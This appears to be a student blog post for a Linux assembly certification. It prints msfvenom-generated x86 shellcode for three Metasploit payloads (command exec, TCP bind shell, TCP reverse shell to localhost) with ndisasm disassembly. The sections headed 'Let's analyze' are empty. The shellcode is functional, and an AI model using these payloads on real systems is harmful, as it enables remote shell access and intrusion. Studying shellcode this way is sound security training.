This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-1542
Assignement #5
- Take up at least 3 shellcode samples created using msfpayload for linux/x86
- Use GDB/Ndisasm/Libemu to dissect the functionality of the shellcode
- Present your analysis
Msfpayload Shellcode Analysis
Today I will analyze the following shellcodes generated by the msfpayload, specifically for linux/x86:
- linux/x86/exec - Execute an arbitrary command
- linux/x86/shell_bind_tcp - Listen for a connection and spawn a command shell
- linux/x86/shell_reverse_tcp - Connect back to attacker and spawn a command shell
1) linux/x86/exec
This msfpayload will execute an arbitrary command that you add while creating a payload. Let’s create the payload with the linux command id.
1
2
3
4
5
6
7
8
9
10
# msfvenom -p linux/x86/exec CMD=id -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 38 bytes
Final size of c file: 185 bytes
unsigned char buf[] =
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x03\x00\x00\x00\x69"
"\x64\x00\x57\x53\x89\xe1\xcd\x80";
Then, we will use ndisasm - the Netwide Disassembler - to disassemble the created shellcode.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# echo -ne "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x03\x00\x00\x00\x69\x64\x00\x57\x53\x89\xe1\xcd\x80" | ndisasm -b 32 -
00000000 6A0B push byte +0xb
00000002 58 pop eax
00000003 99 cdq
00000004 52 push edx
00000005 66682D63 push word 0x632d
00000009 89E7 mov edi,esp
0000000B 682F736800 push dword 0x68732f
00000010 682F62696E push dword 0x6e69622f
00000015 89E3 mov ebx,esp
00000017 52 push edx
00000018 E803000000 call 0x20
0000001D 696400575389E1CD imul esp,[eax+eax+0x57],dword 0xcde18953
00000025 80 db 0x80
### echo:
-n : Do not output the trailing newline
-e : Enable interpretation of backslash escapes
### ndisasm
-b : Set the processor mode
Let’s analyze the disassembled payload.
2) linux/x86/shell_bind_tcp
Next, we will review the shell_bind_tcp shellcode generated by msfpayload.
1
2
3
4
5
6
7
8
9
10
11
12
13
# msfvenom -p linux/x86/shell_bind_tcp LPORT=4444 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 78 bytes
Final size of c file: 354 bytes
unsigned char buf[] =
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
"\x5b\x5e\x52\x68\x02\x00\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a"
"\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0"
"\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0"
"\x0b\xcd\x80";
Then, we will use ndisasm to disassemble the created shellcode.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# echo -ne "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x52\x68\x02\x00\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" | ndisasm -b 32 -
00000000 31DB xor ebx,ebx
00000002 F7E3 mul ebx
00000004 53 push ebx
00000005 43 inc ebx
00000006 53 push ebx
00000007 6A02 push byte +0x2
00000009 89E1 mov ecx,esp
0000000B B066 mov al,0x66
0000000D CD80 int 0x80
0000000F 5B pop ebx
00000010 5E pop esi
00000011 52 push edx
00000012 680200115C push dword 0x5c110002
00000017 6A10 push byte +0x10
00000019 51 push ecx
0000001A 50 push eax
0000001B 89E1 mov ecx,esp
0000001D 6A66 push byte +0x66
0000001F 58 pop eax
00000020 CD80 int 0x80
00000022 894104 mov [ecx+0x4],eax
00000025 B304 mov bl,0x4
00000027 B066 mov al,0x66
00000029 CD80 int 0x80
0000002B 43 inc ebx
0000002C B066 mov al,0x66
0000002E CD80 int 0x80
00000030 93 xchg eax,ebx
00000031 59 pop ecx
00000032 6A3F push byte +0x3f
00000034 58 pop eax
00000035 CD80 int 0x80
00000037 49 dec ecx
00000038 79F8 jns 0x32
0000003A 682F2F7368 push dword 0x68732f2f
0000003F 682F62696E push dword 0x6e69622f
00000044 89E3 mov ebx,esp
00000046 50 push eax
00000047 53 push ebx
00000048 89E1 mov ecx,esp
0000004A B00B mov al,0xb
0000004C CD80 int 0x80
Let’s analyze the disassembled payload.
3) linux/x86/shell_reverse_tcp
Finally, we will review the shell_reverse_tcp shellcode generated by msfpayload.
1
2
3
4
5
6
7
8
9
10
11
12
# msfvenom -p linux/x86/shell_reverse_tcp lhost=127.0.0.1 lport=4444 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 68 bytes
Final size of c file: 311 bytes
unsigned char buf[] =
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
"\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\x7f\x00\x00\x01\x68"
"\x02\x00\x11\x5c\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1"
"\xcd\x80\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3"
"\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
Then, we will use ndisasm to disassemble the created shellcode.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# echo -ne "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\x7f\x00\x00\x01\x68\x02\x00\x11\x5c\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80" | ndisasm -b 32 -
00000000 31DB xor ebx,ebx
00000002 F7E3 mul ebx
00000004 53 push ebx
00000005 43 inc ebx
00000006 53 push ebx
00000007 6A02 push byte +0x2
00000009 89E1 mov ecx,esp
0000000B B066 mov al,0x66
0000000D CD80 int 0x80
0000000F 93 xchg eax,ebx
00000010 59 pop ecx
00000011 B03F mov al,0x3f
00000013 CD80 int 0x80
00000015 49 dec ecx
00000016 79F9 jns 0x11
00000018 687F000001 push dword 0x100007f
0000001D 680200115C push dword 0x5c110002
00000022 89E1 mov ecx,esp
00000024 B066 mov al,0x66
00000026 50 push eax
00000027 51 push ecx
00000028 53 push ebx
00000029 B303 mov bl,0x3
0000002B 89E1 mov ecx,esp
0000002D CD80 int 0x80
0000002F 52 push edx
00000030 686E2F7368 push dword 0x68732f6e
00000035 682F2F6269 push dword 0x69622f2f
0000003A 89E3 mov ebx,esp
0000003C 52 push edx
0000003D 53 push ebx
0000003E 89E1 mov ecx,esp
00000040 B00B mov al,0xb
00000042 CD80 int 0x80
Let’s analyze the disassembled payload.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-1542